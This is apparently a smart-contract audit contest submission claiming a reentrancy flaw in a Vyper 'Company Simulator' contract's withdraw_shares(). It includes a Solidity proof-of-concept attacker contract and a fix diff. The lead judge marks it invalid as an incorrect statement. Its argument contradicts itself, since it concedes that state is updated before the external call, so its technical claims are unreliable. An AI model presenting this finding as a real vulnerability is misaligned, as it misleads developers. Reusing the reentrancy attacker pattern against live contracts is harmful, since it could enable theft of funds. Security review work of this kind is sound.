Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy risk via withdraw_shares() external call before state fully consistent

Root + Impact

Description

  • Normal behavior: withdraw_shares() allows investors to redeem their shares.

    It computes payout, deducts company_balance, zeroes the investor’s shares, and then performs a raw_call() to transfer ETH back to msg.sender.

  • Specific issue:

  • The call to raw_call() happens after modifying key state variables, but without using any non-reentrant guard or mutex.

  • While Vyper’s pragma nonreentrancy on offers a baseline guard, it does not protect cross-contract calls made from a function that sends value to an untrusted contract — especially when multiple external functions can be called indirectly (for example, via fallback or self-destruct re-entry).

If an attacker uses a contract as the “investor” and implements a fallback that re-invokes another state-changing function (like fund_investor()), it can break accounting consistency or corrupt share totals.

// Root cause in the codebase with @> marks to highlight the relevant section
@external
def withdraw_shares():
...
self.shares[msg.sender] = 0
self.issued_shares -= shares_owned
assert self.company_balance >= payout, "Insufficient company funds!!!"
self.company_balance -= payout
@> raw_call(
@> msg.sender,
@> b"",
@> value=payout,
@> revert_on_failure=True,
@> )
log Withdrawn_Shares(investor=msg.sender, shares=shares_owned)

Risk

Likelihood

Possible whenever an attacker invests through a smart-contract wallet with a malicious fallback.

Real-world likelihood: Low → Medium, since most investors are EOAs, but a single malicious contract investor is enough to trigger it.

Impact

High: Reentrancy could allow nested state changes before withdraw_shares() finishes, causing share accounting mismatches or bypassing checks in other functions (e.g., calling fund_investor() again to inflate shares before company_balance is restored).

Could corrupt issued_shares totals or create phantom balances.

severe integrity and solvency risk.

Proof of Concept

Explanation:

The attacker invests, then calls withdraw_shares().

During the ETH transfer in raw_call(), the attacker’s fallback re-invokes fund_cyfrin(1), causing share issuance logic to run in an inconsistent state.

This demonstrates that without an explicit non-reentrant modifier or balance-transfer isolation, reentrancy is possible and dangerous.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
PoC: Reentrancy during withdraw_shares() call.
Simulates an attacker investor contract whose fallback reinvests mid-withdrawal.
*/
interface IVulnerable {
function fund_cyfrin(uint256 action) external payable;
function withdraw_shares() external;
}
contract ReentrancyAttacker {
IVulnerable public target;
bool internal reentered;
constructor(address _target) {
target = IVulnerable(_target);
}
// Fallback re-enters once on first receive of payout ETH
receive() external payable {
if (!reentered) {
reentered = true;
// Re-enter during payout to corrupt internal accounting
target.fund_cyfrin{value: 0.1 ether}(1);
}
}
function attack() external payable {
// First, invest to become a shareholder
target.fund_cyfrin{value: msg.value}(1);
// Then trigger withdrawal (initiates reentrancy)
target.withdraw_shares();
}
}

Recommended Mitigation

Explanation (brief)

Adopt a checks-effects-interactions pattern and/or an explicit reentrancy lock.

Always complete state updates before making external calls, and ensure no re-entry can occur into state-changing functions.

- remove this code
+ add this code
+nonreentrant("withdraw_lock")
@external
def withdraw_shares():
...
self.shares[msg.sender] = 0
self.issued_shares -= shares_owned
assert self.company_balance >= payout, "Insufficient company funds!!!"
self.company_balance -= payout
- raw_call(msg.sender, b"", value=payout, revert_on_failure=True)
+ # Use send()-style helper or internal safe_send to prevent fallback re-entry
+ send(msg.sender, payout)
log Withdrawn_Shares(investor=msg.sender, shares=shares_owned)
Updates

Lead Judging Commences

0xshaedyw Lead Judge
6 days ago
0xshaedyw Lead Judge 5 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.